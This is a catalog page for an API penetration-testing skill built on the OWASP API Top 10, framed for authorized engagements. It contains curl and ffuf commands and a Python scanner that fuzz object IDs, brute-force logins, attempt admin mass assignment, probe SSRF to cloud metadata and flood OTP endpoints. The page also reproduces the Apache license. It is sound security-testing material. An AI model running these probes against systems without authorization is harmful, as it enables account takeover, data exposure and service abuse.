
Testing Api Security With Owasp Top 10
- 412 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Test APIs against OWASP API Security Top 10 risks—BOLA, broken auth, excessive data exposure, misconfiguration—with repeatable checklists and evidence.
About
Anthropic cybersecurity skill for testing API security with OWASP Top 10: checklist-driven assessment of broken object level auth, auth flaws, data exposure, and related API risks with standardized reporting.
- OWASP API Top 10 coverage
- BOLA and auth test cases
- Standardized finding taxonomy
- Compliance-friendly evidence
Testing Api Security With Owasp Top 10 by the numbers
- 412 all-time installs (skills.sh)
- +41 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #549 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-security-with-owasp-top-10Add your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 412 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Test APIs against OWASP API Security Top 10 risks—BOLA, broken auth, excessive data exposure, misconfiguration—with repeatable checklists and evidence.
Files
Testing API Security with OWASP Top 10
When to Use
- During authorized API penetration testing engagements
- When assessing REST, GraphQL, or gRPC APIs for security vulnerabilities
- Before deploying new API endpoints to production environments
- When reviewing API security posture against the OWASP API Security Top 10 (2023)
- For validating API gateway security controls and rate limiting effectiveness
Prerequisites
- Authorization: Written scope document covering all API endpoints to be tested
- Burp Suite Professional: For intercepting and modifying API requests
- Postman: For organizing and executing API test collections
- ffuf: For API endpoint and parameter fuzzing
- curl/httpie: Command-line HTTP clients for manual testing
- API documentation: Swagger/OpenAPI spec, GraphQL schema, or API docs
- jq: JSON processor for parsing API responses (
apt install jq)
Workflow
Step 1: Discover and Map API Endpoints
Enumerate all available API endpoints and understand the API surface.
# If OpenAPI/Swagger spec is available, download it
curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/openapi.yaml"
# Fuzz for API endpoints
ffuf -u "https://api.target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,401,403,405 \
-fc 404 \
-H "Content-Type: application/json" \
-o api-enum.json -of json
# Fuzz for API versions
for v in v1 v2 v3 v4 beta internal admin; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.target.example.com/api/$v/users")
echo "$v: $status"
done
# Check for GraphQL endpoint
for path in graphql graphiql playground query gql; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://api.target.example.com/$path")
echo "$path: $status"
doneStep 2: Test API1 - Broken Object Level Authorization (BOLA)
Test whether users can access objects belonging to other users by manipulating IDs.
# Authenticate as User A and get their resources
TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..."
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101/orders" | jq .
# Try accessing User B's resources with User A's token
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/102/orders" | jq .
# Fuzz object IDs with Burp Intruder or ffuf
ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \
-w <(seq 1 1000) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 50
# Test IDOR with different ID formats
# Numeric: /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Encoded: /users/MTAy (base64)Step 3: Test API2 - Broken Authentication
Assess authentication mechanisms for weaknesses.
# Test for missing authentication
curl -s "https://api.target.example.com/api/v1/users" | jq .
# Test JWT token vulnerabilities
# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Test "alg: none" attack
# Header: {"alg":"none","typ":"JWT"}
# Create unsigned token with modified claims
# Test brute-force protection on login
ffuf -u "https://api.target.example.com/api/v1/auth/login" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"admin@target.com","password":"FUZZ"}' \
-w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \
-mc 200 -t 5 -rate 10
# Test password reset flow
curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \
-H "Content-Type: application/json" \
-d '{"email":"victim@target.com"}'
# Check if token is in response body instead of email onlyStep 4: Test API3 - Broken Object Property Level Authorization
Test for excessive data exposure and mass assignment vulnerabilities.
# Check for excessive data in responses
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101" | jq .
# Look for: password hashes, SSNs, internal IDs, admin flags, PII
# Test mass assignment - try adding admin properties
curl -s -X PUT \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Test User","role":"admin","is_admin":true}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# Test with PATCH method
curl -s -X PATCH \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"role":"admin","balance":999999}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# Check if filtering parameters expose more data
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?fields=all" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq .Step 5: Test API4/API6 - Rate Limiting and Unrestricted Access to Sensitive Flows
Verify rate limiting and resource consumption controls.
# Test rate limiting on authentication endpoint
for i in $(seq 1 100); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"wrong"}' \
"https://api.target.example.com/api/v1/auth/login")
echo "Attempt $i: $status"
if [ "$status" == "429" ]; then
echo "Rate limited at attempt $i"
break
fi
done
# Test for unrestricted resource consumption
# Large pagination
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length'
# GraphQL depth/complexity attack
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN_A" \
-d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \
"https://api.target.example.com/graphql"
# Test SMS/email flooding via OTP endpoint
for i in $(seq 1 20); do
curl -s -X POST -H "Content-Type: application/json" \
-d '{"phone":"+1234567890"}' \
"https://api.target.example.com/api/v1/auth/send-otp"
doneStep 6: Test API5 - Broken Function Level Authorization
Check for privilege escalation through administrative endpoints.
# Test admin endpoints with regular user token
ADMIN_ENDPOINTS=(
"/api/v1/admin/users"
"/api/v1/admin/settings"
"/api/v1/admin/logs"
"/api/v1/internal/config"
"/api/v1/users?role=admin"
"/api/v1/admin/export"
)
for endpoint in "${ADMIN_ENDPOINTS[@]}"; do
for method in GET POST PUT DELETE; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
"https://api.target.example.com$endpoint")
if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; then
echo "POTENTIAL ISSUE: $method $endpoint returned $status"
fi
done
done
# Test HTTP method switching
# If GET /admin/users returns 403, try:
curl -s -X POST -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/admin/users"Step 7: Test API7-API10 - SSRF, Misconfiguration, Inventory, and Unsafe Consumption
# API7: Server-Side Request Forgery
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://api.target.example.com/api/v1/fetch-url"
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"webhook_url":"http://127.0.0.1:6379/"}' \
"https://api.target.example.com/api/v1/webhooks"
# API8: Security Misconfiguration
# Check CORS policy
curl -s -I -H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/v1/users" | grep -i "access-control"
# Check for verbose error messages
curl -s -X POST -H "Content-Type: application/json" \
-d '{"invalid": "data' \
"https://api.target.example.com/api/v1/users"
# Check security headers
curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \
"(x-frame|x-content|strict-transport|content-security|x-xss)"
# API9: Improper Inventory Management
# Test deprecated API versions
for v in v0 v1 v2 v3; do
curl -s -o /dev/null -w "$v: %{http_code}\n" \
"https://api.target.example.com/api/$v/users"
done
# API10: Unsafe Consumption of APIs
# Test if the API blindly trusts third-party data
# Check webhook/callback implementations for injectionKey Concepts
| Concept | Description |
|---|---|
| BOLA (API1) | Broken Object Level Authorization - accessing objects belonging to other users |
| Broken Authentication (API2) | Weak authentication mechanisms allowing credential stuffing or token manipulation |
| BOPLA (API3) | Broken Object Property Level Authorization - excessive data exposure or mass assignment |
| Unrestricted Resource Consumption (API4) | Missing rate limiting enabling DoS or brute-force attacks |
| Broken Function Level Auth (API5) | Regular users accessing admin-level API functions |
| SSRF (API7) | Server-Side Request Forgery through API parameters accepting URLs |
| Security Misconfiguration (API8) | Missing security headers, verbose errors, permissive CORS |
| Improper Inventory (API9) | Undocumented, deprecated, or shadow API endpoints left exposed |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | API interception, scanning, and manual testing |
| Postman | API collection management and automated test execution |
| ffuf | API endpoint and parameter fuzzing |
| Kiterunner | API endpoint discovery using common API path patterns |
| jwt_tool | JWT token analysis, manipulation, and attack automation |
| GraphQL Voyager | GraphQL schema visualization and introspection analysis |
| Arjun | HTTP parameter discovery for API endpoints |
Common Scenarios
Scenario 1: BOLA in E-commerce API
User A can access User B's order details by changing the order ID in /api/v1/orders/{id}. The API only checks authentication but not authorization on the object level.
Scenario 2: Mass Assignment on User Profile
The user update endpoint accepts a role field in the JSON body. By adding "role":"admin" to a profile update request, a regular user escalates to administrator privileges.
Scenario 3: Deprecated API Version Bypass
The /api/v2/users endpoint has proper rate limiting, but /api/v1/users (still active) has no rate limiting. Attackers use the old version to brute-force credentials.
Scenario 4: GraphQL Introspection Data Leak
GraphQL introspection is enabled in production, exposing the entire schema including internal queries, mutations, and sensitive field names that are not used in the frontend.
Output Format
## API Security Assessment Report
**Target**: api.target.example.com
**API Type**: REST (OpenAPI 3.0)
**Assessment Date**: 2024-01-15
**OWASP API Security Top 10 (2023) Coverage**
| Risk | Status | Severity | Details |
|------|--------|----------|---------|
| API1: BOLA | VULNERABLE | Critical | /api/v1/orders/{id} - IDOR confirmed |
| API2: Broken Auth | VULNERABLE | High | No rate limit on /auth/login |
| API3: BOPLA | VULNERABLE | High | User role modifiable via mass assignment |
| API4: Resource Consumption | VULNERABLE | Medium | No pagination limit enforced |
| API5: Function Level Auth | PASS | - | Admin endpoints properly restricted |
| API6: Unrestricted Sensitive Flows | VULNERABLE | Medium | OTP endpoint lacks rate limiting |
| API7: SSRF | PASS | - | URL parameters properly validated |
| API8: Misconfiguration | VULNERABLE | Medium | Verbose stack traces in error responses |
| API9: Improper Inventory | VULNERABLE | Low | API v1 still accessible without docs |
| API10: Unsafe Consumption | NOT TESTED | - | No third-party API integrations found |
### Critical Finding: BOLA on Orders API
Authenticated users can access any order by iterating order IDs.
Tested range: 1-1000, 847 valid orders accessible.
PII exposure: names, addresses, payment details.
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Testing API Security with OWASP Top 10
requests Library
Installation
pip install requestsKey Methods
| Method | Description |
|---|---|
requests.get(url, headers=, params=, timeout=) | Send GET request |
requests.post(url, json=, headers=, timeout=) | Send POST request |
requests.put(url, json=, headers=) | Send PUT request |
requests.patch(url, json=, headers=) | Send PATCH request |
requests.delete(url, headers=) | Send DELETE request |
requests.options(url, headers=) | Send OPTIONS preflight |
Response Object
| Attribute | Description |
|---|---|
resp.status_code | HTTP status code (200, 401, 403, 429) |
resp.headers | Response headers dict |
resp.json() | Parse response body as JSON |
resp.text | Response body as string |
resp.elapsed | Response time as timedelta |
OWASP API Security Top 10 (2023)
| ID | Risk | Test Approach |
|---|---|---|
| API1 | Broken Object Level Auth | Iterate object IDs with another user's token |
| API2 | Broken Authentication | Brute-force login, test JWT weaknesses |
| API3 | Broken Object Property Level Auth | Check excessive data + mass assignment |
| API4 | Unrestricted Resource Consumption | Test pagination limits, rate limiting |
| API5 | Broken Function Level Auth | Access admin endpoints as regular user |
| API6 | Unrestricted Access to Sensitive Flows | Abuse OTP, reset, registration flows |
| API7 | Server-Side Request Forgery | Inject internal URLs in URL parameters |
| API8 | Security Misconfiguration | Check headers, CORS, error verbosity |
| API9 | Improper Inventory Management | Find deprecated API versions |
| API10 | Unsafe Consumption of APIs | Test trust boundaries with third-party data |
Security Header Checks
| Header | Expected Value |
|---|---|
Strict-Transport-Security | max-age=31536000; includeSubDomains |
X-Content-Type-Options | nosniff |
X-Frame-Options | DENY or SAMEORIGIN |
Content-Security-Policy | Restrictive policy |
References
- OWASP API Security Top 10: https://owasp.org/API-Security/
- OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
- requests docs: https://docs.python-requests.org/
#!/usr/bin/env python3
"""Agent for automated API security testing against OWASP API Security Top 10."""
import os
import requests
import json
import argparse
import urllib3
from datetime import datetime
from urllib.parse import urljoin
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def test_bola(base_url, token, endpoints, id_range=(1, 20)):
"""Test for Broken Object Level Authorization (API1)."""
print("\n[*] Testing API1: Broken Object Level Authorization (BOLA)...")
findings = []
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
for endpoint in endpoints:
for obj_id in range(id_range[0], id_range[1]):
url = urljoin(base_url, endpoint.replace("{id}", str(obj_id)))
try:
resp = requests.get(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
if resp.status_code == 200 and len(resp.text) > 50:
findings.append({
"risk": "API1-BOLA", "url": url, "status": resp.status_code,
"body_length": len(resp.text), "severity": "CRITICAL",
})
print(f" [!] VULNERABLE: GET {url} -> {resp.status_code} ({len(resp.text)} bytes)")
except requests.RequestException:
continue
return findings
def test_broken_auth(base_url, login_endpoint="/api/v1/auth/login", attempts=50):
"""Test for Broken Authentication (API2) - rate limiting on login."""
print("\n[*] Testing API2: Broken Authentication (rate limiting)...")
url = urljoin(base_url, login_endpoint)
findings = []
rate_limited = False
for i in range(1, attempts + 1):
try:
resp = requests.post(url, json={"email": "test@test.com", "password": f"wrong{i}"},
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
if resp.status_code == 429:
print(f" [+] Rate limited at attempt {i}")
rate_limited = True
break
except requests.RequestException:
break
if not rate_limited:
findings.append({
"risk": "API2-BROKEN_AUTH", "url": url, "severity": "HIGH",
"detail": f"No rate limiting after {attempts} failed login attempts",
})
print(f" [!] No rate limiting after {attempts} attempts")
return findings
def test_data_exposure(base_url, token, endpoints):
"""Test for Broken Object Property Level Authorization (API3)."""
print("\n[*] Testing API3: Excessive Data Exposure...")
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
sensitive_fields = ["password", "password_hash", "ssn", "credit_card", "secret",
"api_key", "token", "internal_id", "salt"]
findings = []
for endpoint in endpoints:
url = urljoin(base_url, endpoint)
try:
resp = requests.get(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
if resp.status_code == 200:
try:
data = resp.json()
data_str = json.dumps(data).lower()
exposed = [f for f in sensitive_fields if f in data_str]
if exposed:
findings.append({
"risk": "API3-DATA_EXPOSURE", "url": url,
"exposed_fields": exposed, "severity": "HIGH",
})
print(f" [!] {url}: Exposes {exposed}")
except json.JSONDecodeError:
pass
except requests.RequestException:
continue
return findings
def test_mass_assignment(base_url, token, endpoint, payload_extras):
"""Test for mass assignment vulnerabilities."""
print("\n[*] Testing API3: Mass Assignment...")
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
url = urljoin(base_url, endpoint)
findings = []
for field, value in payload_extras.items():
try:
resp = requests.patch(url, headers=headers, json={field: value},
timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
if resp.status_code in (200, 201):
resp_data = resp.json() if resp.text else {}
if str(value) in json.dumps(resp_data):
findings.append({
"risk": "API3-MASS_ASSIGNMENT", "url": url,
"field": field, "value": value, "severity": "CRITICAL",
})
print(f" [!] VULNERABLE: Field '{field}' accepted with value '{value}'")
except requests.RequestException:
continue
return findings
def test_security_headers(base_url):
"""Test for Security Misconfiguration (API8)."""
print("\n[*] Testing API8: Security Misconfiguration (headers)...")
findings = []
try:
resp = requests.get(base_url, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
required_headers = {
"Strict-Transport-Security": "HSTS",
"X-Content-Type-Options": "nosniff",
"X-Frame-Options": "clickjacking protection",
"Content-Security-Policy": "CSP",
}
for header, desc in required_headers.items():
if header.lower() not in {k.lower(): v for k, v in resp.headers.items()}:
findings.append({
"risk": "API8-MISCONFIGURATION", "header": header,
"detail": f"Missing {desc}", "severity": "MEDIUM",
})
print(f" [!] Missing: {header} ({desc})")
else:
print(f" [+] Present: {header}")
except requests.RequestException as e:
print(f" [-] Error: {e}")
return findings
def test_cors(base_url, endpoints):
"""Test CORS configuration on API endpoints."""
print("\n[*] Testing CORS configuration...")
findings = []
evil_origins = ["https://evil.com", "null", "http://localhost"]
for endpoint in endpoints[:3]:
url = urljoin(base_url, endpoint)
for origin in evil_origins:
try:
resp = requests.get(url, headers={"Origin": origin}, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
acao = resp.headers.get("Access-Control-Allow-Origin", "")
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
if acao == origin and acac.lower() == "true":
findings.append({
"risk": "CORS_MISCONFIGURATION", "url": url,
"origin": origin, "severity": "HIGH",
})
print(f" [!] {url}: Reflects origin '{origin}' with credentials")
except requests.RequestException:
continue
return findings
def test_api_versions(base_url, path_prefix="/api"):
"""Test for Improper Inventory Management (API9)."""
print("\n[*] Testing API9: Improper Inventory Management...")
findings = []
versions = ["v0", "v1", "v2", "v3", "v4", "beta", "internal", "admin", "debug"]
for v in versions:
url = urljoin(base_url, f"{path_prefix}/{v}/users")
try:
resp = requests.get(url, timeout=5, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
if resp.status_code not in (404, 000):
findings.append({"risk": "API9-INVENTORY", "url": url, "status": resp.status_code})
print(f" [+] {v}: {resp.status_code}")
except requests.RequestException:
continue
return findings
def generate_report(all_findings, output_path):
"""Generate OWASP API Security assessment report."""
report = {
"assessment_date": datetime.now().isoformat(),
"total_findings": len(all_findings),
"by_severity": {},
"findings": all_findings,
}
for f in all_findings:
sev = f.get("severity", "INFO")
report["by_severity"][sev] = report["by_severity"].get(sev, 0) + 1
with open(output_path, "w") as fh:
json.dump(report, fh, indent=2)
print(f"\n[*] Report saved to {output_path}")
print(f"[*] Total findings: {len(all_findings)}")
for sev, count in report["by_severity"].items():
print(f" {sev}: {count}")
def main():
parser = argparse.ArgumentParser(description="OWASP API Security Top 10 Testing Agent")
parser.add_argument("base_url", help="Base URL of the API (e.g., https://api.target.com)")
parser.add_argument("--token", help="Bearer token for authentication")
parser.add_argument("--endpoints", nargs="+", default=["/api/v1/users/{id}", "/api/v1/orders/{id}"])
parser.add_argument("--login-endpoint", default="/api/v1/auth/login")
parser.add_argument("-o", "--output", default="api_security_report.json")
args = parser.parse_args()
print(f"[*] OWASP API Security Top 10 Assessment")
print(f"[*] Target: {args.base_url}")
all_findings = []
all_findings.extend(test_security_headers(args.base_url))
all_findings.extend(test_cors(args.base_url, args.endpoints))
all_findings.extend(test_api_versions(args.base_url))
all_findings.extend(test_broken_auth(args.base_url, args.login_endpoint))
if args.token:
all_findings.extend(test_bola(args.base_url, args.token, args.endpoints))
all_findings.extend(test_data_exposure(args.base_url, args.token, args.endpoints))
all_findings.extend(test_mass_assignment(args.base_url, args.token, args.endpoints[0],
{"role": "admin", "is_admin": True}))
generate_report(all_findings, args.output)
if __name__ == "__main__":
main()